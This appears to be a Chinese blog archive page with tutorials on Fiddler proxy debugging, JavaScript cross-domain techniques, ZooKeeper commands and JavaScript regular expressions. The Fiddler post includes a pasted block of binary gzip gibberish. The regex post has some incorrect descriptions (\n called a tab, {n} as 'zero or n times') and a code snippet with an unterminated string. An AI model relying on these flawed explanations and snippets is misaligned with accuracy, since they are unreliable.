Fiddler调式使用知多少

发布时间:July 16, 2015 // 分类:工作日志,windows,转帖文章,生活琐事 // No Comments

 

Fiddler的基本概念:

     Fiddler是一款基于windows系统的代理服务器软件,本地运行的程序,比如web浏览器及其他客户端的应用程序,可以把http和https请求发送给Fiddler,Fiddler通常把这些请求转发给web服务器,服务器将这些请求的响应返回给Fiddler,Fiddler再把响应转发给客户端。

      Fiddler 是以代理web服务器的形式工作的,它使用代理地址:127.0.0.1, 端口:8888. 当Fiddler会自动设置代理, 退出的时候它会自动注销代理,这样就不会影响别的程序。如果Fiddler非正常退出,这时候因为Fiddler没有自动注销,会造成网页无法访问。解决的办法是重新启动下Fiddler即可。

 

安装Fiddler

     安装Fiddler之前需要安装.net framework, 我目前的安装的是Fiddler4,所以我下载安装的是.net framework4,如下所示:

安装Fiddler和安装一般的软件没有什么区别,这里就不介绍~~;

 

了解下Fiddler用户界面

我这边是Fiddler4的界面如下:

在fiddler中web session界面中捕获到http请求如下所示:

Web session列表兰中包含了一些信息如下:

 

理解不同图标和颜色的含义(下面是常见的):

 

web session的常用的快捷键

CTRL+A: 选中所有的session;

ESC:  取消选中所有的session;

CTRL+I  反向选中;如果session已选中,则取消,否则选中;

CTRL+X  删除所有的session;

Delete: 删除选中的session;

Shift+Delete 删除所有未选中的session

R  重新执行当前请求

SHIFT+R  多次重复执行当前请求

U: 无条件重新执行当前请求,发送不包含If-Modified-Since 和 If-None-Match的请求头

SHIFT+U 无条件地多次重复执行当前请求。

ALT+Enter 查看当前session的属性;

Insert:切换是否用红色粗体标记选中的session

M  给选中的session添加描述;

 

了解web Session上下文菜单

我们来点击session一项后,右键菜单,会出现如下所示:

AutoScroll Session List选项用于决定Fiddler是否会自动把新增的session添加到web session列表中。

我们先来了解下 Copy菜单项的一些session信息如下:

Just Url: 把选中的session的url列表拷贝到剪贴板,每行一个url。如下我们定位到session中,

当我们进行粘贴的时候,看到是一个url地址;如下所示:

http://www.telerik.com/UpdateCheck.aspx?isBeta=False

上面可以看到,我们还可以使用快捷键ctrl+u 实现;

This column: 拷贝选中session菜单所在列的文本;如下:

到我们拷贝完成的时候,进行粘贴的时候,可以看到如下文本:

HTTP

Terse summary:把选中的session的简要说明复制到剪贴板中,简要说明中包括请求方法,url,响应的状态码及状态信息,如果响应是HTTP/3xx重定向,文本中也会包括响应头中Location字段的内容;如下所示:

当我们进行粘贴的时候,可以看到如下信息:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False

200 OK (text/plain)

当然如上也可以使用快捷键;

Headers only  把session的请求头复制到剪贴板中,既可以以纯文本格式,也可以以HTML格式复制。如下:

粘贴如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

Session: 把整个session列表复制到剪贴板中,支持以纯文本和HTML这两种格式进行复制。如下:

粘贴结果如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

?


?`I?%&/m?{J?J??t??`?@??????iG#)?*??eVe]f@????{???{???;?N'????\fdl??J??!???­?~|­?"????o??????o???w?{??>??wwog????=[???2O_f?y??d?v]?i?XUu??g?f?O?n????Z7?d}q^???#


~'????=?_?????I??o???k???z?.?u??


7}???6[?7? }?-[|:o???w'eu???xZ-???uwU5msw????????W??n????v???F???????q?{~????_????q?f????i??????-?eZ??-}:????GOsB?X^?WE;O? ???I??U?]fE?M?|?'??^????M?u?PV?*?'D?4?.???b????4g?YkF?(?S????w???

Response DataURI :响应信息的DataURI
截图如下:

信息如下:

data:text/plain;base64,H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/IvZ/4+T+b5zs/sbJ3m+c7I/vj3fHe+n3Pr27d3dvZ/f+93/jJD1brOrqMk9fZtO3eZueZKt2XedpsVhVdeu+n6Vny2aVT9uqbujTn8zqolo36WR9cV68y+kjA34n/d7+3T36Xwh/lr6pqrJJj9Jvf/n6zWv64vV6hS7Sl3X10wQ3fb3K6jZb0jf0Cn2RLVsPfDpv29Wju3cnZXXRjNu8zOvi7XhaLe6eF7MZ/XV3VTVtc3f3/vbO/vbeg7tX86zdbraX+dV2sdzWRtv72/e3iRi/cfJ7fvf0+cmXX5z+nr9x8maep6/zabWcpaezoi2qZVqdpy19Oqmqt+lHT3NC46JYXqRXRTtPnwmoj9KiSZfVVZpdZkWZTcp8/Bsnz/OsXqaLigiYTap1y1BW2SqvJ0TeNKMunr76Yvu8zvM0Z+hZa0amKOJTjOv/AeF3j4a5AQAA

Full Summary  把web session列表中显示的信息复制到剪贴板。如下:

信息如下:

#     Result     Protocol Host       URL Body      Caching  Content-Type       Process   Comments     Custom 

1     200 HTTP      www.telerik.com   /UpdateCheck.aspx?isBeta=False      447 private    text/plain; charset=utf-8       fiddler:6500

Save子菜单中包含了用于把流量保存到文件中的一些选项;如下所示:

Selected Sessions中的In ArchiveZip 选项是把 Web Session列表中选中的session保存到SAZ文件中;如下所示:

Selected Sessions中的 As Text是把选中的所有session一起保存到一个文本文件中;如下:

Selected Sessions中的As Text(Headers only) 把选中session的请求头和响应头一起保存到一个文本文件中;下面还有很多选项,我这边就不一一介绍,等用到某一项的时候,我们再来介绍;

 

Fiddler如何捕获firefox中的会话

Fiddler启动时默认是IE代理设置127.0.0.1:8888,其他浏览器需要手动设置;

Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

即可生效;不过上面的设置比较麻烦,我们可以安装一个插件,如下:

Firefox中安装FiddlerHook插件

当我们安装好fiddler后,就已经安装好了FiddlerHook插件了,我们需要去firefox中启用这个插件;工具—》附加组件—》扩展—》fiddlerHook启用

启用即可!!然后我们需要在firefox中进行设置即可;

我们再来看一下Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

我们可以再来安装一个hostAdmin插件即可方便查看。

 

Fiddler如何捕获Https会话

默认下,Fiddler不会捕获HTTPS会话,需要你设置下, 打开Fiddler  Tool->Fiddler Options->HTTPS tab

 

弹出框后一直点击Yes即可;

Fiddler的HTTP统计视图(可以优化请求和页面)

    Fiddler的统计选项卡中显示了当前Session的基本信息,在选项卡的最上方显示的是文本信息,最下方是个饼图,按MIME类型显示流量。使用Statistics页签,用户可以通过选择多个会话来得来这几个会话的总的信息统计,比如多个请求和传输的字节数。

选择第一个请求和最后一个请求,可获得整个页面加载所消耗的总体时间。从条形图表中还可以分别出哪些请求耗时最多,从而对页面的访问进行访问速度优化。

如下所示:

 

饼图如下:

 

统计选项卡的一些信息含义如下解释:

Request Count 选中的session数;

Unique Hosts 流量流向的独立目标主机数。如果所有选中的流量都发送到相同的服务器上,则不会显示该字段。

Bytes sent:  HTTP请求头和请求体中向外发送的字节总数。后面括号中分别给出了头和body各自的字节数。

Bytes received: HTTP请求头和请求体中接收到的所有字节数。在全部计数后面的括号中给出了请求头和请求体各自的字节数。

Requests started at: Fiddler接收到的第一个请求的第一个字节的时间点。

Responses completed at: Fiddler发送到客户端的最后一个响应的最后一个字节的时间点。

Sequence(clock) duration:  第一个请求开始到最后一个响应结束之间的 “时钟时间”。

Aggregate session duration: 所有选中的session从请求到响应之间的时间的和。

DNS Lookup time: 所有选中的session解析DNS所花费的时间的总和。

TCP/IP Connect duration: 所有选中session建立TCP/IP连接所花费的时间总和。

HTTPS Handshake duration: 所有选中session在HTTPS握手上所花费的时间总和。

Response Codes: 选中session中各个HTTP响应码的计数。

Response Bytes by content-type: 选中session中响应的各个Content-Type的字节数。

Estimated Performance: 选中的流量在不同语种(local)地区和连接方式下所需时间的初步估计。

 

移动开发如何使用fiddler调式代码

 1.  首先电脑和手机要使用同一个无线网。

 2.  配置Fiddler,点击 Tools  -->  Fiddler  Options 

 3.  手机端的配置,我这边是Android手机(IOS也一样),点击设置进去,选择无线网,如下:

点击代理设置进去后,如下:

接下来可以看看我的ip地址如下:

如上设置后,我们就可以使用手机访问网页后,可以使用fiddler来监控请求或者替换js或者css文件了;

注意:有时候我访问的页面提示  “代理服务器连接失败”,那么这种情况下,很有可能是防火墙或者一些360类似的杀毒软件,我们可以在防火墙下设置为fiddler通过,如下所示:

4.  修改HOST

    如上设置我们可以监听页面请求了,但是如果我想要监听本地的服务器端的代码,就访问不了(我本地使用的服务器是php环境),比如上我在本地做demo,如果一切好的话,我上传到服务器端去,首先我们需要启动php服务器;启动好后,我们来使用本机的ip来访问下;如下所示:

1.  我们需要在fiddler里面修改配置,Tools –》 HOSTS,如下:

点击保存按钮后,我们接着再访问页面,就可以访问了,如下:

页面可以访问后,有时候我们想替换下js或者css文件,我们就可以使用右侧的tab选项栏中的AutoResponder了,如下:

在最下面的可以替换一些js或者css文件即可了;这里就不多介绍了~

如上是目前总结的一些基本fiddler基本知识点, 在接下来的业余时间会多去总结Fiddler相关调式方面的知识点~  如果总结的不好的话,希望大家多多指教~~

    总结:Fiddler基本知识点总结如上一些,在接下来的时间会全面总结Fiddler相关的含义,我们平时用到的Fiddler一些方面,但是我们还需要多去理解其他各个方面的含义,为以后使用代理http请求或者优化页面有更好的理解,因此我觉得有必要的多去学习下Fiddler知识点~ 所以Fiddler一直会有下文总结的~~

JavaScript跨域总结与解决办法

发布时间:July 15, 2015 // 分类:工作日志,代码学习,linux,转帖文章,windows // No Comments

什么是跨域

JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。但在安全限制的同时也给注入iframe或是ajax应用上带来了不少麻烦。这里把涉及到跨域的一些问题简单地整理一下:

首先什么是跨域,简单地理解就是因为JavaScript同源策略的限制,a.com 域名下的js无法操作b.com或是c.a.com域名下的对象。更详细的说明可以看下表:

URL 说明 是否允许通信
http://www.a.com/a.js
http://www.a.com/b.js
同一域名下 允许
http://www.a.com/lab/a.js
http://www.a.com/script/b.js
同一域名下不同文件夹 允许
http://www.a.com:8000/a.js
http://www.a.com/b.js
同一域名,不同端口 不允许
http://www.a.com/a.js
https://www.a.com/b.js
同一域名,不同协议 不允许
http://www.a.com/a.js
http://70.32.92.74/b.js
域名和域名对应ip 不允许
http://www.a.com/a.js
http://script.a.com/b.js
主域相同,子域不同 不允许
http://www.a.com/a.js
http://a.com/b.js
同一域名,不同二级域名(同上) 不允许(cookie这种情况下也不允许访问)
http://www.cnblogs.com/a.js
http://www.a.com/b.js
不同域名 不允许
特别注意两点:
第一,如果是协议和端口造成的跨域问题“前台”是无能为力的,
第二:在跨域问题上,域仅仅是通过“URL的首部”来识别而不会去尝试判断相同的ip地址对应着两个域或两个域是否在同一个ip上。
“URL的首部”指window.location.protocol +window.location.host,也可以理解为“Domains, protocols and ports must match”。

接下来简单地总结一下在“前台”一般处理跨域的办法,后台proxy这种方案牵涉到后台配置,这里就不阐述了,有兴趣的可以看看yahoo的这篇文章:《JavaScript: Use a Web Proxy for Cross-Domain XMLHttpRequest Calls

1、document.domain+iframe的设置

对于主域相同而子域不同的例子,可以通过设置document.domain的办法来解决。具体的做法是可以在http://www.a.com/a.html和http://script.a.com/b.html两个文件中分别加上document.domain = ‘a.com’;然后通过a.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个js文件之间就可以“交互”了。当然这种办法只能解决主域相同而二级域名不同的情况,如果你异想天开的把script.a.com的domian设为alibaba.com那显然是会报错地!代码如下:

www.a.com上的a.html

document.domain = 'a.com';
var ifr = document.createElement('iframe');
ifr.src = 'http://script.a.com/b.html';
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function(){
    var doc = ifr.contentDocument || ifr.contentWindow.document;
    // 在这里操纵b.html
    alert(doc.getElementsByTagName("h1")[0].childNodes[0].nodeValue);
};

script.a.com上的b.html

document.domain = 'a.com';

这种方式适用于{www.kuqin.com, kuqin.com, script.kuqin.com, css.kuqin.com}中的任何页面相互通信。

备注:某一页面的domain默认等于window.location.hostname。主域名是不带www的域名,例如a.com,主域名前面带前缀的通常都为二级域名或多级域名,例如www.a.com其实是二级域名。 domain只能设置为主域名,不可以在b.a.com中将domain设置为c.a.com。

问题:
1、安全性,当一个站点(b.a.com)被攻击后,另一个站点(c.a.com)会引起安全漏洞。
2、如果一个页面中引入多个iframe,要想能够操作所有iframe,必须都得设置相同domain。

2、动态创建script

虽然浏览器默认禁止了跨域访问,但并不禁止在页面中引用其他域的JS文件,并可以自由执行引入的JS文件中的function(包括操作cookie、Dom等等)。根据这一点,可以方便地通过创建script节点的方法来实现完全跨域的通信。具体的做法可以参考YUI的Get Utility

这里判断script节点加载完毕还是蛮有意思的:ie只能通过script的readystatechange属性,其它浏览器是script的load事件。以下是部分判断script加载完毕的方法。

js.onload = js.onreadystatechange = function() {
    if (!this.readyState || this.readyState === 'loaded' || this.readyState === 'complete') {
        // callback在此处执行
        js.onload = js.onreadystatechange = null;
    }
};

3、利用iframe和location.hash

这个办法比较绕,但是可以解决完全跨域情况下的脚步置换问题。原理是利用location.hash来进行传值。在url: http://a.com#helloword中的‘#helloworld’就是location.hash,改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递,当然数据容量是有限的。假设域名a.com下的文件cs1.html要和cnblogs.com域名下的cs2.html传递信息,cs1.html首先创建自动创建一个隐藏的iframe,iframe的src指向cnblogs.com域名下的cs2.html页面,这时的hash值可以做参数传递用。cs2.html响应请求后再将通过修改cs1.html的hash值来传递数据(由于两个页面不在同一个域下IE、Chrome不允许修改parent.location.hash的值,所以要借助于a.com域名下的一个代理iframe;Firefox可以修改)。同时在cs1.html上加一个定时器,隔一段时间来判断location.hash的值有没有变化,一点有变化则获取获取hash值。代码如下:

先是a.com下的文件cs1.html文件:

function startRequest(){
    var ifr = document.createElement('iframe');
    ifr.style.display = 'none';
    ifr.src = 'http://www.cnblogs.com/lab/cscript/cs2.html#paramdo';
    document.body.appendChild(ifr);
}

function checkHash() {
    try {
        var data = location.hash ? location.hash.substring(1) : '';
        if (console.log) {
            console.log('Now the data is '+data);
        }
    } catch(e) {};
}
setInterval(checkHash, 2000);

cnblogs.com域名下的cs2.html:

//模拟一个简单的参数处理操作
switch(location.hash){
    case '#paramdo':
        callBack();
        break;
    case '#paramset':
        //do something……
        break;
}

function callBack(){
    try {
        parent.location.hash = 'somedata';
    } catch (e) {
        // ie、chrome的安全机制无法修改parent.location.hash,
        // 所以要利用一个中间的cnblogs域下的代理iframe
        var ifrproxy = document.createElement('iframe');
        ifrproxy.style.display = 'none';
        ifrproxy.src = 'http://a.com/test/cscript/cs3.html#somedata';    // 注意该文件在"a.com"域下
        document.body.appendChild(ifrproxy);
    }
}

a.com下的域名cs3.html

//因为parent.parent和自身属于同一个域,所以可以改变其location.hash的值
parent.parent.location.hash = self.location.hash.substring(1);

当然这样做也存在很多缺点,诸如数据直接暴露在了url中,数据容量和类型都有限等……

4、window.name实现的跨域数据传输

文章较长列在此处不便于阅读,详细请看 window.name实现的跨域数据传输

5、使用HTML5 postMessage

HTML5中最酷的新功能之一就是 跨文档消息传输Cross Document Messaging。下一代浏览器都将支持这个功能:Chrome 2.0+、Internet Explorer 8.0+, Firefox 3.0+, Opera 9.6+, 和 Safari 4.0+ 。 Facebook已经使用了这个功能,用postMessage支持基于web的实时消息传递。

otherWindow.postMessage(message, targetOrigin);
otherWindow: 对接收信息页面的window的引用。可以是页面中iframe的contentWindow属性;window.open的返回值;通过name或下标从window.frames取到的值。
message: 所要发送的数据,string类型。
targetOrigin: 用于限制otherWindow,“*”表示不作限制

a.com/index.html中的代码:

<iframe id="ifr" src="b.com/index.html"></iframe>
<script type="text/javascript">
window.onload = function() {
    var ifr = document.getElementById('ifr');
    var targetOrigin = 'http://b.com';  // 若写成'http://b.com/c/proxy.html'效果一样
                                        // 若写成'http://c.com'就不会执行postMessage了
    ifr.contentWindow.postMessage('I was there!', targetOrigin);
};
</script>

b.com/index.html中的代码:

<script type="text/javascript">
    window.addEventListener('message', function(event){
        // 通过origin属性判断消息来源地址
        if (event.origin == 'http://a.com') {
            alert(event.data);    // 弹出"I was there!"
            alert(event.source);  // 对a.com、index.html中window对象的引用
                                  // 但由于同源策略,这里event.source不可以访问window对象
        }
    }, false);
</script>

参考文章:《精通HTML5编程》第五章——跨文档消息机制https://developer.mozilla.org/en/dom/window.postmessage

6、利用flash

这是从YUI3的IO组件中看到的办法,具体可见http://developer.yahoo.com/yui/3/io/
可以看在Adobe Developer Connection看到更多的跨域代理文件规范:ross-Domain Policy File SpecificationsHTTP Headers Blacklist

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:运维工作,开发笔记,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

javascript正则表达式

发布时间:July 13, 2015 // 分类:工作日志,代码学习,windows // No Comments

网上正则表达式的教程够多了,但由于javascript的历史比较悠久,也比较古老,因此有许多特性是不支持的。我们先从最简单地说起,文章所演示的正则基本都是perl方式。元字符

( [ { \ ^ $ | ) ? * + .

预定义的特殊字符

字符     正则      描述
\t         /\t/      制表符
\n         /\n/     制表符
\r         /\r/      回车符
\f         /\f/      换页符
\a         /\a/     alert字符
\e         /\e/     escape字符
\cX        /\cX/   与X相对应的控制字符
\b         /\b/     与回退字符
\v         /\v/     垂直制表符
\0         /\0/     空字符

字符类

简单类

原则上正则的一个字符对应一个字符,我们可以用[]把它们括起来,让[]这个整体对应一个字符。如

alert(/ruby/.test("ruby"));//true
alert(/[abc]/.test("a"));//true
alert(/[abc]/.test("b"));//true
alert(/[abc]/.test("c"));//true
alert("a bat ,a Cat,a fAt bat ,a faT cat".match(/[bcf]at/gi));//bat,Cat,fAt,bat,faT,cat

负向类

也是在那个括号里做文章,前面加个元字符进行取反,表示匹配不能为括号里面的字符。

alert(/[^abc]/.test("a"));//false
alert(/[^abc]/.test("b"));//false
alert(/[^abc]/.test("6"));//true
alert(/[^abc]/.test("gg"));//true

范围类

还是在那个中括号里面做文章。有时匹配的东西过多,而且类型又相同,全部输入太麻烦,我们可以用它。特征就是在中间加了个横线。

组合类

还是在那个中括号里面做文章。允许用中括号匹配不同类型的单个字符。

alert(/[a-f]/.test("b"));//true
alert(/[a-f]/.test("k"));//false
alert(/[a-z]/.test("h"));//true
alert(/[A-Z]/.test("gg"));//false
alert(/[^H-Y]/.test("G"));//true
alert(/[0-9]/.test("8"));//true
alert(/[^7-9]/.test("6"));//true
 
 
 
 alert(/[a-m1-5\n]/.test("a"))//true
alert(/[a-m1-5\n]/.test("3"))//true
var a = "\n\"
alert(/[a-m1-5\n]/.test(a))//true
alert(/[a-m1-5\n]/.test("r"))//false

预定义类

还是在那个中括号里面做文章,不过它好像已经走到尽头了。由于是中括号的马甲,因此它们还是对应一个字符。

字符     等同于                 描述
.         [^\n\r]              除了换行和回车之外的任意字符
\d       [0-9]                 数字字符
\D       [^0-9]               非数字字符
\s       [ \t\n\x0B\f\r]     空白字符
\S       [^ \t\n\x0B\f\r]   非空白字符
\w      [a-zA-Z_0-9]        单词字符(所有的字母)
\W      [^a-zA-Z_0-9]      非单词字符
 
 
 
alert(/\d/.test("3"))//true
alert(/\d/.test("w"))//false
alert(/\D/.test("w"))//true
alert(/\w/.test("w"))//true
alert(/\w/.test("司"))//false
alert(/\W/.test("徒"))//true
alert(/\s/.test(" "))//true
alert(/\S/.test(" "))//false
alert(/\S/.test("正"))//true
alert(/./.test("美"))//true
alert(/./.test("  "))//true
var a = "\n\"
alert(/./.test(a))//true

量词

由于元字符与特殊字符或字符类或者它们的组合(中括号)甚至它们的马甲(预定义类)都是一对一进行匹配。我们要匹配“司徒正美这个词”,最简单都要/…./,如果长到50多个字符岂不是要死人。因此我们逼切需要一个简单的操作,来处理这数量关系。

简单量词

代码         类型              描述
?          软性量词          出现零次或一次
*          软性量词          出现零次或多次(任意次)
+          软性量词         出现一次或多次(至道一次)
{n}       硬性量词          对应零次或者n次
{n,m}    软性量词         至少出现n次但不超过m次
{n,}       软性量词         至少出现n次(+的升级版)
 
 
 
alert(/..../.test("司徒正美"))//true
alert(/司徒正美/.test("司徒正美"))//true
alert(/[\u4e00-\u9fa5]{4}/.test("司徒正美"))//true
alert(/[\u4e00-\u9fa5]{4}/.test("司徒正美55"))//true
alert(/^[\u4e00-\u9fa5]+$/.test("正则表达式"))//true
alert(/^[\u4e00-\u9fa5]+$/.test("正则表达式&*@@"))//false
alert(/\d{6}/.test("123456"))//true
alert(/[ruby]{2}/.test("rr"))//true
alert(/[ruby]{2}/.test("ru"))//true
alert(/[ruby]{2}/.test("ry"))//true
/[\u4e00-\u9fa5]/用于匹配单个汉字。

贪婪量词,惰性量词与支配性量词

贪婪量词,上面提到的所有简单量词。就像成语中说的巴蛇吞象那样,一口吞下整个字符串,发现吞不下(匹配不了),再从后面一点点吐出来(去掉最后一个字符,再看这时这个整个字符串是否匹配,不断这样重复直到长度为零)

隋性量词,在简单量词后加问号。由于太懒了,先吃了前面第一个字符,如果不饱再捏起多添加一个(发现不匹配,就读下第二个,与最初的组成一个有两个字符串的字符串再尝试匹配,如果再不匹配,再吃一个组成拥有三个字符的字符串……)。其工作方式与贪婪量词相反。

支配性量词,在简单量词后加加号。上面两种都有个不断尝试的过程,而支配性量词却只尝试一次,不合口味就算了。就像一个出身高贵居支配地位的公主。但你也可以说它是最懒量词。由于javascript不支持,所以它连出场的机会也没有了。

var re1 = /.*bbb/g;//贪婪
var re2 = /.*?bbb/g;//惰性
//  var re3 = /.*+bbb/g;//支配性,javascript不支持,IE与所有最新的标准浏览器都报错
alert(re1.test("abbbaabbbaaabbbb1234")+"");//true
alert(re1.exec("abbbaabbbaaabbbb1234")+"");//null
alert("abbbaabbbaaabbbb1234".match(re1)+"");//abbbaabbbaaabbbb
 
alert(re2.test("abbbaabbbaaabbbb1234")+"");//true
alert(re2.exec("abbbaabbbaaabbbb1234")+"");//aabbb
alert("abbbaabbbaaabbbb1234".match(re2)+"");//abbb,aabbb,aaabbb

分组

到目前为止,我们只能一个字符到匹配,虽然量词的出现,能帮助我们处理一排密紧密相连的同类型字符。但这是不够的,下面该轮到小括号出场了,中括号表示范围内选择,大括号表示重复次数。小括号允许我们重复多个字符。

//分组+量词
alert(/(dog){2}/.test("dogdog"))//true
//分组+范围
alert("baddad".match(/([bd]ad?)*/))//baddad,dad
//分组+分组
alert("mon and dad".match(/(mon( and dad)?)/))//mon and dad,mon and dad, and dad

反向引用

反向引用标识由正则表达式中的匹配组捕获的子字符串。每个反向引用都由一个编号或名称来标识,并通过“\编号”表示法进行引用。

var color = "#990000";
/#(\d+)/.test(color);
alert(RegExp.$1);//990000
 
alert(/(dog)\1/.test("dogdog"))//true
 
var num = "1234 5678";
var newNum = num.replace(/(\d{4}) (\d{4})/,"$2 $1");
alert(newNum)

候选

继续在分组上做文章。在分组中插入管道符(“|”),把它划分为两个或多个候多项。

var reg = /(red|black|yellow)!!/;
alert(reg.test("red!!"))//true
alert(reg.test("black!!"))//true
alert(reg.test("yellow!!"))//true

非捕获性分组

并不是所有分组都能创建反向引用,有一种特别的分组称之为非捕获性分组,它是不会创建反向引用。反之,就是捕获性分组。要创建一个非捕获性分组,只要在分组的左括号的后面紧跟一个问号与冒号就行了。

var color = "#990000";
/#(?:\d+)/.test(color);
alert(RegExp.$1);//""

题目,移除所有标签,只留下innerText!

var html = "<p><a href='http://www.cnblogs.com/rubylouvre/'>Ruby Louvre</a>by <em>司徒正美</em></p>";
var text = html.replace(/<(?:.|\s)*?>/g, "");
alert(text)
 
注意:javascript不存在命名分组

前瞻

继续在分组内做文章。前瞻与后瞻其实都属于零宽断言,但javascript不支持后瞻。

零宽断言

正则                名称             描述
(?=exp)         正向前瞻         匹配exp前面的位置
(?!exp)          负向前瞻         匹配后面不是exp的位置
(?<=exp)       正向后瞻         匹配exp后面的位置不支持
(?<!exp)        负向后瞻         匹配前面不是exp的位置不支持    

正向前瞻用来检查接下来的出现的是不是某个特定的字符集。而负向前瞻则是检查接下来的不应该出现的特定字符串集。零宽断言是不会被捕获的。

var str1 = "bedroom";
var str2 = "bedding";
var reBed = /(bed(?=room))///在我们捕获bed这个字符串时,抢先去看接下来的字符串是不是room
alert(reBed.test(str1));//true
alert(RegExp.$1)//bed
alert(RegExp.$2 === "")//true
alert(reBed.test(str2))//false
var str1 = "bedroom";
var str2 = "bedding";
var reBed = /(bed(?!room))/  //要来它后面不能是room
alert(reBed.test(str1))//false
alert(reBed.test(str2))//true

题目,移除hr以外的所有标签,只留下innerText!

var html = "<p><a href='http://www.cnblogs.com/rubylouvre/'>Ruby Louvre</a></p><hr/><p>by <em>司徒正美</em></p>";
var text = html.replace(/<(?!hr)(?:.|\s)*?>/ig,"")
alert(text)//Ruby Louvre<hr/>by 司徒正美

边界

一个要与字符类合用的东西。

边界

正则          名称             描述
